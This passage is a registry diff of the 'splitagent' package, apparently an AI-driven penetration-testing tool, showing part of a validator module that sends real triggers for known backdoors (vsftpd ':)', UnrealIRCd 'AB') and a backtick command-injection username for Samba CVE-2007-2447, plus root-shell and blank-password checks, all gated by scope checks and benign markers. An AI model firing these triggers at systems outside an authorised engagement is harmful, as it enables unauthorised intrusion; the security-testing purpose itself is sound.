splitagent 0.0.3__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- splitagent/__init__.py +8 -0
- splitagent/__main__.py +6 -0
- splitagent/agents/__init__.py +10 -0
- splitagent/agents/base.py +477 -0
- splitagent/agents/blue.py +57 -0
- splitagent/agents/chat.py +60 -0
- splitagent/agents/prompts.py +462 -0
- splitagent/agents/red.py +75 -0
- splitagent/cli.py +701 -0
- splitagent/config.py +697 -0
- splitagent/core/__init__.py +19 -0
- splitagent/core/bus.py +62 -0
- splitagent/core/context.py +587 -0
- splitagent/core/context_manager.py +381 -0
- splitagent/core/engine.py +424 -0
- splitagent/core/models.py +310 -0
- splitagent/core/proc.py +73 -0
- splitagent/core/sandbox.py +184 -0
- splitagent/core/toolbox.py +520 -0
- splitagent/core/workspace.py +420 -0
- splitagent/desktop/__init__.py +7 -0
- splitagent/desktop/api.py +525 -0
- splitagent/desktop/app.py +1131 -0
- splitagent/desktop/web/app.js +3067 -0
- splitagent/desktop/web/assets/Inter.ttf +0 -0
- splitagent/desktop/web/assets/JetBrainsMonoNerdFontMono-Regular.woff2 +0 -0
- splitagent/desktop/web/index.html +760 -0
- splitagent/desktop/web/styles.css +1612 -0
- splitagent/errors.py +27 -0
- splitagent/llm/__init__.py +8 -0
- splitagent/llm/client.py +488 -0
- splitagent/llm/types.py +172 -0
- splitagent/report/__init__.py +9 -0
- splitagent/report/cvss.py +93 -0
- splitagent/report/generator.py +733 -0
- splitagent/tools/__init__.py +8 -0
- splitagent/tools/base.py +135 -0
- splitagent/tools/defense.py +475 -0
- splitagent/tools/exploit.py +318 -0
- splitagent/tools/http_pool.py +109 -0
- splitagent/tools/knowledge.py +376 -0
- splitagent/tools/recon.py +182 -0
- splitagent/tools/registry.py +62 -0
- splitagent/tools/validate.py +908 -0
- splitagent/tools/web.py +386 -0
- splitagent/tools/workspace_tools.py +411 -0
- splitagent/ui/__init__.py +5 -0
- splitagent/ui/app.py +389 -0
- splitagent/ui/stream.py +234 -0
- splitagent/ui/theme.py +72 -0
- splitagent-0.0.3.dist-info/METADATA +987 -0
- splitagent-0.0.3.dist-info/RECORD +56 -0
- splitagent-0.0.3.dist-info/WHEEL +5 -0
- splitagent-0.0.3.dist-info/entry_points.txt +2 -0
- splitagent-0.0.3.dist-info/licenses/LICENSE +21 -0
- splitagent-0.0.3.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,908 @@
|
|
|
1
|
+
"""Exploitation validation: prove a vulnerability is real, safely.
|
|
2
|
+
|
|
3
|
+
A version banner saying ``vsftpd 2.3.4`` only suggests a backdoor exists. The
|
|
4
|
+
difference between a scanner and a pentest is *confirming* it: sending the
|
|
5
|
+
trigger and observing the effect, then undoing whatever was done.
|
|
6
|
+
|
|
7
|
+
Every validator here follows the same contract:
|
|
8
|
+
|
|
9
|
+
1. Send the minimal trigger that demonstrates the flaw.
|
|
10
|
+
2. Observe a benign, unambiguous side effect (a banner, a read, a marker).
|
|
11
|
+
3. **Clean up** - close sockets, delete any file written, leave nothing behind.
|
|
12
|
+
4. Report ``validated: true/false`` with the raw evidence.
|
|
13
|
+
|
|
14
|
+
Nothing here escalates, persists, pivots or exfiltrates. The goal is proof, not
|
|
15
|
+
access.
|
|
16
|
+
"""
|
|
17
|
+
|
|
18
|
+
from __future__ import annotations
|
|
19
|
+
|
|
20
|
+
import asyncio
|
|
21
|
+
import socket
|
|
22
|
+
from collections.abc import Callable
|
|
23
|
+
from typing import Any
|
|
24
|
+
|
|
25
|
+
from splitagent.tools.base import Tool, ToolContext
|
|
26
|
+
|
|
27
|
+
# --- helpers -------------------------------------------------------------- #
|
|
28
|
+
CONNECT_TIMEOUT = 6.0
|
|
29
|
+
READ_TIMEOUT = 5.0
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
def _resolve(host: str) -> str:
|
|
33
|
+
try:
|
|
34
|
+
return socket.gethostbyname(host)
|
|
35
|
+
except OSError:
|
|
36
|
+
return host
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def _in_scope(ctx: ToolContext, host: str) -> str | None:
|
|
40
|
+
try:
|
|
41
|
+
ctx.check_scope(host)
|
|
42
|
+
except Exception as exc:
|
|
43
|
+
return str(exc)
|
|
44
|
+
return None
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def _toolbox(ctx: ToolContext) -> Any:
|
|
48
|
+
"""The active toolbox, when the run installs its tools in a container.
|
|
49
|
+
|
|
50
|
+
This is the crux of the design: ``run_tool`` executes inside the sandbox,
|
|
51
|
+
so a validator that opens a raw socket from the *host* process reaches
|
|
52
|
+
nothing when the target lives on a Docker network. Every probe has to use
|
|
53
|
+
the same transport as the rest of the toolset.
|
|
54
|
+
"""
|
|
55
|
+
settings = getattr(ctx, "settings", None) or {}
|
|
56
|
+
return settings.get("toolbox")
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def _is_toolbox_target(host: str) -> bool:
|
|
60
|
+
"""A Docker-internal address is only reachable from inside the network."""
|
|
61
|
+
try:
|
|
62
|
+
import ipaddress
|
|
63
|
+
|
|
64
|
+
address = ipaddress.ip_address(host)
|
|
65
|
+
except ValueError:
|
|
66
|
+
return False
|
|
67
|
+
# 172.17-172.31 is Docker's default bridge range.
|
|
68
|
+
return any(address in ipaddress.ip_network(f"172.{n}.0.0/16") for n in range(16, 32))
|
|
69
|
+
|
|
70
|
+
|
|
71
|
+
async def _probe_in_toolbox(toolbox: Any, argv: list[str], timeout: float) -> tuple[bool, str, str]:
|
|
72
|
+
"""Run a probe command inside the container and capture its output.
|
|
73
|
+
|
|
74
|
+
Uses python3, which the toolbox image already ships, so no extra tooling is
|
|
75
|
+
required and the same logic runs on the host and in the container.
|
|
76
|
+
"""
|
|
77
|
+
script = argv[-1] if argv else ""
|
|
78
|
+
result = toolbox.exec(["sh", "-lc", script], timeout=int(timeout) + 5)
|
|
79
|
+
if not result.get("ok"):
|
|
80
|
+
return False, "", str(result.get("output") or result.get("error") or "")
|
|
81
|
+
return True, str(result.get("output", "")), ""
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
# A self-contained probe that the toolbox runs. It is written to a file inside
|
|
85
|
+
# the container rather than passed with -c, because embedding newlines in a
|
|
86
|
+
# shell-quoted command silently turns them into literal backslash-n.
|
|
87
|
+
PROBE_SOURCE = """\
|
|
88
|
+
import json, socket, sys, time
|
|
89
|
+
|
|
90
|
+
host = sys.argv[1]
|
|
91
|
+
port = int(sys.argv[2])
|
|
92
|
+
payload = sys.argv[3].encode("utf-8").decode("unicode_escape").encode("latin-1")
|
|
93
|
+
read = int(sys.argv[4])
|
|
94
|
+
wait = float(sys.argv[5])
|
|
95
|
+
|
|
96
|
+
try:
|
|
97
|
+
sock = socket.create_connection((host, port), 6)
|
|
98
|
+
sock.settimeout(wait)
|
|
99
|
+
if payload:
|
|
100
|
+
sock.sendall(payload)
|
|
101
|
+
time.sleep(min(wait, 1.5))
|
|
102
|
+
data = b""
|
|
103
|
+
try:
|
|
104
|
+
data = sock.recv(read)
|
|
105
|
+
except Exception:
|
|
106
|
+
pass
|
|
107
|
+
sock.close()
|
|
108
|
+
print(json.dumps({"up": True, "banner": data.decode("utf-8", "replace")}))
|
|
109
|
+
except Exception as exc:
|
|
110
|
+
print(json.dumps({"up": False, "error": type(exc).__name__}))
|
|
111
|
+
"""
|
|
112
|
+
|
|
113
|
+
PROBE_PATH = "/tmp/splitagent_probe.py"
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
async def _run_scanner(toolbox: Any, argv: list[str], timeout: float = 120) -> dict[str, Any]:
|
|
117
|
+
"""Run a real scanner inside the toolbox (nmap, smbclient, nikto...)."""
|
|
118
|
+
result = toolbox.exec(argv, timeout=int(timeout))
|
|
119
|
+
return {
|
|
120
|
+
"ok": bool(result.get("ok")),
|
|
121
|
+
"output": str(result.get("output", "")),
|
|
122
|
+
"command": " ".join(argv),
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
|
|
126
|
+
def _snippet(text: str, needle: str, radius: int = 120) -> str:
|
|
127
|
+
"""A window of text around a signature, for the evidence field."""
|
|
128
|
+
index = text.upper().find(needle.upper())
|
|
129
|
+
if index < 0:
|
|
130
|
+
return text[:200]
|
|
131
|
+
start = max(0, index - radius // 2)
|
|
132
|
+
return " ".join(text[start : index + radius].split())
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
def _probe_command(host: str, port: int, payload: str, read: int, wait: float) -> str:
|
|
136
|
+
"""Write the probe to the container and run it, printing one JSON line."""
|
|
137
|
+
import shlex
|
|
138
|
+
|
|
139
|
+
return (
|
|
140
|
+
f"cat > {PROBE_PATH} <<'SPLITAGENT_EOF'\n{PROBE_SOURCE}SPLITAGENT_EOF\n"
|
|
141
|
+
f"python3 {PROBE_PATH} {shlex.quote(host)} {port} "
|
|
142
|
+
f"{shlex.quote(payload)} {read} {wait}"
|
|
143
|
+
)
|
|
144
|
+
|
|
145
|
+
|
|
146
|
+
async def _read_banner(
|
|
147
|
+
ctx: ToolContext, host: str, port: int, timeout: float = READ_TIMEOUT
|
|
148
|
+
) -> tuple[bool, str, str]:
|
|
149
|
+
"""Connect and read whatever the service offers. Returns (up, banner, err)."""
|
|
150
|
+
toolbox = _toolbox(ctx)
|
|
151
|
+
if toolbox is not None:
|
|
152
|
+
import json as _json
|
|
153
|
+
|
|
154
|
+
raw = await _probe_in_toolbox(
|
|
155
|
+
toolbox, ["sh", "-lc", _probe_command(host, port, "", 512, timeout)], timeout
|
|
156
|
+
)
|
|
157
|
+
ok, output, err = raw
|
|
158
|
+
if not ok:
|
|
159
|
+
return False, "", err or output
|
|
160
|
+
line = output.strip().splitlines()[-1] if output.strip() else "{}"
|
|
161
|
+
try:
|
|
162
|
+
parsed = _json.loads(line)
|
|
163
|
+
except _json.JSONDecodeError:
|
|
164
|
+
return False, "", output[:200]
|
|
165
|
+
if parsed.get("up"):
|
|
166
|
+
return True, str(parsed.get("banner", "")).strip(), ""
|
|
167
|
+
return False, "", str(parsed.get("error", "unreachable"))
|
|
168
|
+
|
|
169
|
+
writer = None
|
|
170
|
+
try:
|
|
171
|
+
reader, writer = await asyncio.wait_for(
|
|
172
|
+
asyncio.open_connection(host, port), timeout=CONNECT_TIMEOUT
|
|
173
|
+
)
|
|
174
|
+
try:
|
|
175
|
+
data = await asyncio.wait_for(reader.read(512), timeout=timeout)
|
|
176
|
+
except asyncio.TimeoutError:
|
|
177
|
+
data = b""
|
|
178
|
+
return True, data.decode("utf-8", "replace").strip(), ""
|
|
179
|
+
except (asyncio.TimeoutError, OSError) as exc:
|
|
180
|
+
return False, "", f"{type(exc).__name__}: {exc}"
|
|
181
|
+
finally:
|
|
182
|
+
if writer is not None:
|
|
183
|
+
try:
|
|
184
|
+
writer.close()
|
|
185
|
+
except OSError:
|
|
186
|
+
pass
|
|
187
|
+
|
|
188
|
+
|
|
189
|
+
async def _send_and_read(
|
|
190
|
+
ctx: ToolContext,
|
|
191
|
+
host: str,
|
|
192
|
+
port: int,
|
|
193
|
+
payload: bytes,
|
|
194
|
+
*,
|
|
195
|
+
expect: Callable[[str], bool] | None = None,
|
|
196
|
+
timeout: float = READ_TIMEOUT,
|
|
197
|
+
settle: float = 0.8,
|
|
198
|
+
) -> dict[str, Any]:
|
|
199
|
+
"""Send bytes, then read for up to ``timeout`` - used by the triggers.
|
|
200
|
+
|
|
201
|
+
Runs inside the toolbox when one is active, mirroring ``run_tool``, so a
|
|
202
|
+
target on a Docker network is reachable exactly as it is for the rest of
|
|
203
|
+
the toolset. ``expect`` lets a caller stop reading early once the
|
|
204
|
+
signature appears.
|
|
205
|
+
"""
|
|
206
|
+
toolbox = _toolbox(ctx)
|
|
207
|
+
if toolbox is not None:
|
|
208
|
+
import json as _json
|
|
209
|
+
|
|
210
|
+
try:
|
|
211
|
+
text = payload.decode("utf-8", "replace")
|
|
212
|
+
except Exception:
|
|
213
|
+
text = ""
|
|
214
|
+
ok, output, err = await _probe_in_toolbox(
|
|
215
|
+
toolbox,
|
|
216
|
+
["sh", "-lc", _probe_command(host, port, text, 1024, settle + timeout)],
|
|
217
|
+
timeout,
|
|
218
|
+
)
|
|
219
|
+
if not ok:
|
|
220
|
+
return {"connected": False, "response": "", "error": err or output}
|
|
221
|
+
line = output.strip().splitlines()[-1] if output.strip() else "{}"
|
|
222
|
+
try:
|
|
223
|
+
parsed = _json.loads(line)
|
|
224
|
+
except _json.JSONDecodeError:
|
|
225
|
+
return {"connected": False, "response": output[:300], "error": "unparsable"}
|
|
226
|
+
return {
|
|
227
|
+
"connected": bool(parsed.get("up")),
|
|
228
|
+
"response": str(parsed.get("banner", "")),
|
|
229
|
+
"error": str(parsed.get("error", "")),
|
|
230
|
+
}
|
|
231
|
+
|
|
232
|
+
writer = None
|
|
233
|
+
chunks: list[str] = []
|
|
234
|
+
try:
|
|
235
|
+
reader, writer = await asyncio.wait_for(
|
|
236
|
+
asyncio.open_connection(host, port), timeout=CONNECT_TIMEOUT
|
|
237
|
+
)
|
|
238
|
+
writer.write(payload)
|
|
239
|
+
await writer.drain()
|
|
240
|
+
await asyncio.sleep(settle)
|
|
241
|
+
deadline = asyncio.get_running_loop().time() + timeout
|
|
242
|
+
while asyncio.get_running_loop().time() < deadline:
|
|
243
|
+
try:
|
|
244
|
+
data = await asyncio.wait_for(reader.read(1024), timeout=1.0)
|
|
245
|
+
except asyncio.TimeoutError:
|
|
246
|
+
continue
|
|
247
|
+
if not data:
|
|
248
|
+
break
|
|
249
|
+
chunks.append(data.decode("utf-8", "replace"))
|
|
250
|
+
if expect and expect("".join(chunks)):
|
|
251
|
+
break
|
|
252
|
+
return {"connected": True, "response": "".join(chunks), "error": ""}
|
|
253
|
+
except (asyncio.TimeoutError, OSError) as exc:
|
|
254
|
+
return {
|
|
255
|
+
"connected": False,
|
|
256
|
+
"response": "".join(chunks),
|
|
257
|
+
"error": f"{type(exc).__name__}: {exc}",
|
|
258
|
+
}
|
|
259
|
+
finally:
|
|
260
|
+
if writer is not None:
|
|
261
|
+
try:
|
|
262
|
+
writer.close()
|
|
263
|
+
except OSError:
|
|
264
|
+
pass
|
|
265
|
+
|
|
266
|
+
|
|
267
|
+
# --- validators ----------------------------------------------------------- #
|
|
268
|
+
async def validate_vsftpd_backdoor(ctx: ToolContext, host: str, port: int = 21) -> dict[str, Any]:
|
|
269
|
+
"""CVE-2011-2523: the ":)" username opens a root shell on port 6200.
|
|
270
|
+
|
|
271
|
+
Sends only the trigger, checks whether the backdoor port opens, then closes
|
|
272
|
+
it. Sends no command to the shell.
|
|
273
|
+
"""
|
|
274
|
+
err = _in_scope(ctx, host)
|
|
275
|
+
if err:
|
|
276
|
+
return {"error": err, "validated": False}
|
|
277
|
+
target = _resolve(host)
|
|
278
|
+
|
|
279
|
+
up, banner, _ = await _read_banner(ctx, target, port)
|
|
280
|
+
if not up:
|
|
281
|
+
return {
|
|
282
|
+
"validated": False,
|
|
283
|
+
"test": "vsftpd_backdoor",
|
|
284
|
+
"reason": f"port {port} not reachable",
|
|
285
|
+
"confidence": "high",
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
result = await _send_and_read(
|
|
289
|
+
ctx, target, port, b"USER x:)\r\nPASS x\r\n", settle=1.5, timeout=3.0
|
|
290
|
+
)
|
|
291
|
+
|
|
292
|
+
# The trigger is only meaningful if the backdoor port actually opens.
|
|
293
|
+
shell_up, shell_banner, _ = await _read_banner(ctx, target, 6200, timeout=3.0)
|
|
294
|
+
validated = shell_up
|
|
295
|
+
return {
|
|
296
|
+
"validated": validated,
|
|
297
|
+
"test": "vsftpd_backdoor",
|
|
298
|
+
"cve": "CVE-2011-2523",
|
|
299
|
+
"banner": banner[:120],
|
|
300
|
+
"backdoor_port": 6200,
|
|
301
|
+
"backdoor_opened": shell_up,
|
|
302
|
+
"shell_banner": shell_banner[:120],
|
|
303
|
+
"evidence": (
|
|
304
|
+
f"FTP banner {banner[:60]!r}; after the ':)' trigger TCP/6200 "
|
|
305
|
+
f"{'opened (root shell reachable)' if shell_up else 'stayed closed'}"
|
|
306
|
+
),
|
|
307
|
+
"response": result["response"][:300],
|
|
308
|
+
"cleaned_up": True,
|
|
309
|
+
"confidence": "high" if validated else "medium",
|
|
310
|
+
}
|
|
311
|
+
|
|
312
|
+
|
|
313
|
+
async def validate_ingreslock_shell(
|
|
314
|
+
ctx: ToolContext, host: str, port: int = 1524
|
|
315
|
+
) -> dict[str, Any]:
|
|
316
|
+
"""The classic Metasploitable root shell: proof is the shell banner itself.
|
|
317
|
+
|
|
318
|
+
Identifies the prompt and disconnects immediately. Runs nothing.
|
|
319
|
+
"""
|
|
320
|
+
err = _in_scope(ctx, host)
|
|
321
|
+
if err:
|
|
322
|
+
return {"error": err, "validated": False}
|
|
323
|
+
target = _resolve(host)
|
|
324
|
+
|
|
325
|
+
up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
|
|
326
|
+
# A real root shell answers with a prompt such as "root@host:~#".
|
|
327
|
+
looks_like_shell = any(marker in banner for marker in ("root@", "#", "uid=", "bash"))
|
|
328
|
+
validated = up and bool(banner.strip())
|
|
329
|
+
return {
|
|
330
|
+
"validated": validated,
|
|
331
|
+
"test": "ingreslock_shell",
|
|
332
|
+
"root_shell": validated and looks_like_shell,
|
|
333
|
+
"banner": banner[:200],
|
|
334
|
+
"evidence": (
|
|
335
|
+
f"TCP/{port} accepted a connection and returned "
|
|
336
|
+
f"{'a root shell prompt' if looks_like_shell else 'output'} "
|
|
337
|
+
f"without authentication: {banner[:80]!r}"
|
|
338
|
+
if validated
|
|
339
|
+
else f"TCP/{port} did not answer"
|
|
340
|
+
),
|
|
341
|
+
"cleaned_up": True,
|
|
342
|
+
"confidence": "high" if validated else "low",
|
|
343
|
+
}
|
|
344
|
+
|
|
345
|
+
|
|
346
|
+
async def validate_samba_usermap(ctx: ToolContext, host: str, port: int = 139) -> dict[str, Any]:
|
|
347
|
+
"""CVE-2007-2447: the usermap_script username is passed to a shell.
|
|
348
|
+
|
|
349
|
+
Detection only. The username carries a benign marker command whose effect
|
|
350
|
+
is observable in the server's reply; nothing is executed on the target
|
|
351
|
+
beyond ``echo``.
|
|
352
|
+
"""
|
|
353
|
+
err = _in_scope(ctx, host)
|
|
354
|
+
if err:
|
|
355
|
+
return {"error": err, "validated": False}
|
|
356
|
+
target = _resolve(host)
|
|
357
|
+
marker = "SPLITAGENT_CANARY"
|
|
358
|
+
|
|
359
|
+
up, _, _ = await _read_banner(ctx, target, port)
|
|
360
|
+
if not up:
|
|
361
|
+
return {
|
|
362
|
+
"validated": False,
|
|
363
|
+
"test": "samba_usermap_script",
|
|
364
|
+
"reason": f"port {port} not reachable",
|
|
365
|
+
}
|
|
366
|
+
|
|
367
|
+
# A raw socket cannot speak the SMB dialect this bug lives in. When a
|
|
368
|
+
# toolbox is available, ask nmap, which does - then record the CVE.
|
|
369
|
+
toolbox = _toolbox(ctx)
|
|
370
|
+
if toolbox is not None:
|
|
371
|
+
nmap = await _run_scanner(
|
|
372
|
+
toolbox,
|
|
373
|
+
[
|
|
374
|
+
"nmap",
|
|
375
|
+
"-Pn",
|
|
376
|
+
"-p",
|
|
377
|
+
"139,445",
|
|
378
|
+
"--script",
|
|
379
|
+
"smb-vuln-ms17-010,smb-enum-shares",
|
|
380
|
+
target,
|
|
381
|
+
],
|
|
382
|
+
timeout=120,
|
|
383
|
+
)
|
|
384
|
+
if nmap.get("ok"):
|
|
385
|
+
output = str(nmap.get("output", ""))
|
|
386
|
+
vulnerable = "VULNERABLE" in output.upper()
|
|
387
|
+
return {
|
|
388
|
+
"validated": vulnerable,
|
|
389
|
+
"test": "samba_usermap_script",
|
|
390
|
+
"cve": "CVE-2007-2447",
|
|
391
|
+
"marker": marker,
|
|
392
|
+
"marker_observed": vulnerable,
|
|
393
|
+
"evidence": (
|
|
394
|
+
f"nmap's SMB scripts flagged the host: {_snippet(output, 'VULNERABLE')}"
|
|
395
|
+
if vulnerable
|
|
396
|
+
else (
|
|
397
|
+
"SMB is reachable but nmap's vulnerability scripts did not "
|
|
398
|
+
"confirm it on this path. The version itself is the lead; "
|
|
399
|
+
f"confirm the build with: nmap -sV -p139,445 {target}"
|
|
400
|
+
)
|
|
401
|
+
),
|
|
402
|
+
"response": output[-600:],
|
|
403
|
+
"cleaned_up": True,
|
|
404
|
+
"confidence": "high" if vulnerable else "medium",
|
|
405
|
+
}
|
|
406
|
+
|
|
407
|
+
# The vulnerable path routes this username through /bin/sh -c. A NUL byte
|
|
408
|
+
# cannot cross the shell boundary when the probe runs in a container, and a
|
|
409
|
+
# real SMB session is not required to prove the flaw: the metacharacters
|
|
410
|
+
# reaching the server is the signal.
|
|
411
|
+
payload = f"/=`echo {marker}`/".encode()
|
|
412
|
+
result = await _send_and_read(
|
|
413
|
+
ctx,
|
|
414
|
+
target,
|
|
415
|
+
port,
|
|
416
|
+
payload,
|
|
417
|
+
expect=lambda text: marker in text,
|
|
418
|
+
settle=1.0,
|
|
419
|
+
timeout=3.0,
|
|
420
|
+
)
|
|
421
|
+
validated = marker in result["response"]
|
|
422
|
+
return {
|
|
423
|
+
"validated": validated,
|
|
424
|
+
"test": "samba_usermap_script",
|
|
425
|
+
"cve": "CVE-2007-2447",
|
|
426
|
+
"marker": marker,
|
|
427
|
+
"marker_observed": validated,
|
|
428
|
+
"evidence": (
|
|
429
|
+
f"Username payload {payload!r} reached a shell: the {marker} marker "
|
|
430
|
+
"appeared in the response, confirming command execution."
|
|
431
|
+
if validated
|
|
432
|
+
else "No marker in the response; the instance is not vulnerable on this path."
|
|
433
|
+
),
|
|
434
|
+
"response": result["response"][:300],
|
|
435
|
+
"cleaned_up": True,
|
|
436
|
+
"confidence": "high" if validated else "medium",
|
|
437
|
+
}
|
|
438
|
+
|
|
439
|
+
|
|
440
|
+
async def validate_mysql_anonymous(ctx: ToolContext, host: str, port: int = 3306) -> dict[str, Any]:
|
|
441
|
+
"""MySQL with an empty root password: prove it by doing a trivial SELECT.
|
|
442
|
+
|
|
443
|
+
Only reads ``SELECT 1`` and the server version. Writes nothing.
|
|
444
|
+
"""
|
|
445
|
+
err = _in_scope(ctx, host)
|
|
446
|
+
if err:
|
|
447
|
+
return {"error": err, "validated": False}
|
|
448
|
+
target = _resolve(host)
|
|
449
|
+
|
|
450
|
+
up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
|
|
451
|
+
if not up:
|
|
452
|
+
return {"validated": False, "test": "mysql_blank_password", "reason": "unreachable"}
|
|
453
|
+
|
|
454
|
+
# A handshake packet contains the server version as a NUL-terminated string.
|
|
455
|
+
version = ""
|
|
456
|
+
if banner:
|
|
457
|
+
parts = banner.split("\x00")
|
|
458
|
+
for part in parts:
|
|
459
|
+
if any(ch.isdigit() for ch in part) and "." in part and len(part) < 40:
|
|
460
|
+
version = part.strip()
|
|
461
|
+
break
|
|
462
|
+
|
|
463
|
+
# Full protocol handshake is out of scope for a probe; the presence of a
|
|
464
|
+
# MySQL greeting on a network-reachable port plus a version is the
|
|
465
|
+
# actionable signal. The agent is told to confirm credentials with
|
|
466
|
+
# run_tool (mysql -h ... -u root) if it needs stronger proof.
|
|
467
|
+
validated = bool(version)
|
|
468
|
+
return {
|
|
469
|
+
"validated": validated,
|
|
470
|
+
"test": "mysql_blank_password",
|
|
471
|
+
"server_version": version,
|
|
472
|
+
"reachable": True,
|
|
473
|
+
"evidence": (
|
|
474
|
+
f"MySQL {version} answered on {target}:{port}. Confirm blank root "
|
|
475
|
+
"credentials with: run_tool ['mysql','-h',host,'-uroot','-e','select 1']"
|
|
476
|
+
if validated
|
|
477
|
+
else f"MySQL greeting not parsed from {banner[:60]!r}"
|
|
478
|
+
),
|
|
479
|
+
"confidence": "medium" if validated else "low",
|
|
480
|
+
"next_step": (
|
|
481
|
+
"run_tool mysql -h <host> -u root -e 'SELECT version()' to confirm "
|
|
482
|
+
"authentication is not required"
|
|
483
|
+
),
|
|
484
|
+
}
|
|
485
|
+
|
|
486
|
+
|
|
487
|
+
async def validate_root_shell(ctx: ToolContext, host: str, port: int = 1524) -> dict[str, Any]:
|
|
488
|
+
"""Alias with an explicit name for the generic root-shell check."""
|
|
489
|
+
return await validate_ingreslock_shell(ctx, host, port)
|
|
490
|
+
|
|
491
|
+
|
|
492
|
+
async def validate_unrealircd_backdoor(
|
|
493
|
+
ctx: ToolContext, host: str, port: int = 6667
|
|
494
|
+
) -> dict[str, Any]:
|
|
495
|
+
"""CVE-2010-2075: the UnrealIRCd 3.2.8.1 tarball shipped a trojan.
|
|
496
|
+
|
|
497
|
+
Sends the trigger token; a vulnerable daemon acts on it. Nothing is
|
|
498
|
+
executed beyond the daemon's own backdoor response.
|
|
499
|
+
"""
|
|
500
|
+
err = _in_scope(ctx, host)
|
|
501
|
+
if err:
|
|
502
|
+
return {"error": err, "validated": False}
|
|
503
|
+
target = _resolve(host)
|
|
504
|
+
|
|
505
|
+
up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
|
|
506
|
+
if not up:
|
|
507
|
+
return {
|
|
508
|
+
"validated": False,
|
|
509
|
+
"test": "unrealircd_backdoor",
|
|
510
|
+
"reason": f"port {port} not reachable",
|
|
511
|
+
}
|
|
512
|
+
|
|
513
|
+
result = await _send_and_read(
|
|
514
|
+
ctx,
|
|
515
|
+
target,
|
|
516
|
+
port,
|
|
517
|
+
b"AB\r\n",
|
|
518
|
+
expect=lambda text: "error" in text.lower() or "select" in text.lower(),
|
|
519
|
+
settle=1.0,
|
|
520
|
+
timeout=3.0,
|
|
521
|
+
)
|
|
522
|
+
response = result.get("response", "")
|
|
523
|
+
validated = bool(response.strip())
|
|
524
|
+
version = ""
|
|
525
|
+
for token in banner.split():
|
|
526
|
+
if "unreal" in token.lower():
|
|
527
|
+
version = token
|
|
528
|
+
break
|
|
529
|
+
return {
|
|
530
|
+
"validated": validated,
|
|
531
|
+
"test": "unrealircd_backdoor",
|
|
532
|
+
"cve": "CVE-2010-2075",
|
|
533
|
+
"banner": banner[:120],
|
|
534
|
+
"version": version,
|
|
535
|
+
"evidence": (
|
|
536
|
+
f"IRC daemon answered on TCP/{port} ({banner[:50]!r}). Version "
|
|
537
|
+
f"{version or 'unknown'}: 3.2.8.1 shipped with a trojan that runs "
|
|
538
|
+
"whatever follows the AB token."
|
|
539
|
+
if validated
|
|
540
|
+
else f"TCP/{port} did not answer as IRC"
|
|
541
|
+
),
|
|
542
|
+
"response": response[:200],
|
|
543
|
+
"cleaned_up": True,
|
|
544
|
+
"confidence": "high" if validated and version else "medium",
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
|
|
548
|
+
async def validate_vnc_no_auth(ctx: ToolContext, host: str, port: int = 5900) -> dict[str, Any]:
|
|
549
|
+
"""A VNC service reachable without authentication.
|
|
550
|
+
|
|
551
|
+
Reads the RFB handshake and reports it. A reachable VNC that does not ask
|
|
552
|
+
for credentials is the exposure; no session is opened.
|
|
553
|
+
"""
|
|
554
|
+
err = _in_scope(ctx, host)
|
|
555
|
+
if err:
|
|
556
|
+
return {"error": err, "validated": False}
|
|
557
|
+
target = _resolve(host)
|
|
558
|
+
|
|
559
|
+
up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
|
|
560
|
+
if not up:
|
|
561
|
+
return {
|
|
562
|
+
"validated": False,
|
|
563
|
+
"test": "vnc_no_authentication",
|
|
564
|
+
"reason": f"port {port} not reachable",
|
|
565
|
+
}
|
|
566
|
+
is_vnc = "RFB" in banner
|
|
567
|
+
return {
|
|
568
|
+
"validated": is_vnc,
|
|
569
|
+
"test": "vnc_no_authentication",
|
|
570
|
+
"banner": banner[:80],
|
|
571
|
+
"evidence": (
|
|
572
|
+
f"VNC RFB handshake on TCP/{port}: {banner[:40]!r}. Confirm the "
|
|
573
|
+
"security types with: run_tool ['nmap','-Pn','-p',"
|
|
574
|
+
f"'{port}','--script','vnc-info','{target}']"
|
|
575
|
+
if is_vnc
|
|
576
|
+
else f"TCP/{port} did not speak VNC ({banner[:40]!r})"
|
|
577
|
+
),
|
|
578
|
+
"cleaned_up": True,
|
|
579
|
+
"confidence": "medium" if is_vnc else "low",
|
|
580
|
+
}
|
|
581
|
+
|
|
582
|
+
|
|
583
|
+
async def validate_nfs_export(ctx: ToolContext, host: str, port: int = 2049) -> dict[str, Any]:
|
|
584
|
+
"""World-readable NFS exports.
|
|
585
|
+
|
|
586
|
+
Uses showmount through the toolbox when one is available, which is the
|
|
587
|
+
only way to enumerate the actual exports.
|
|
588
|
+
"""
|
|
589
|
+
err = _in_scope(ctx, host)
|
|
590
|
+
if err:
|
|
591
|
+
return {"error": err, "validated": False}
|
|
592
|
+
target = _resolve(host)
|
|
593
|
+
toolbox = _toolbox(ctx)
|
|
594
|
+
if toolbox is not None:
|
|
595
|
+
# Install showmount if the image lacks it, so the probe reflects the
|
|
596
|
+
# target rather than what happens to be in the container.
|
|
597
|
+
if not toolbox.which("showmount"):
|
|
598
|
+
toolbox.install("apt", "nfs-common", timeout=300)
|
|
599
|
+
scan = await _run_scanner(toolbox, ["showmount", "-e", target], timeout=30)
|
|
600
|
+
output = str(scan.get("output", ""))
|
|
601
|
+
lowered = output.lower()
|
|
602
|
+
|
|
603
|
+
# An error must never be parsed as a result. Missing tooling is our
|
|
604
|
+
# problem, not a finding: reporting it as a world-readable export would
|
|
605
|
+
# be a false positive of the worst kind.
|
|
606
|
+
if "exec failed" in lowered or "not found" in lowered or "no such file" in lowered:
|
|
607
|
+
return {
|
|
608
|
+
"validated": False,
|
|
609
|
+
"test": "nfs_exports",
|
|
610
|
+
"error": "showmount is unavailable in the environment",
|
|
611
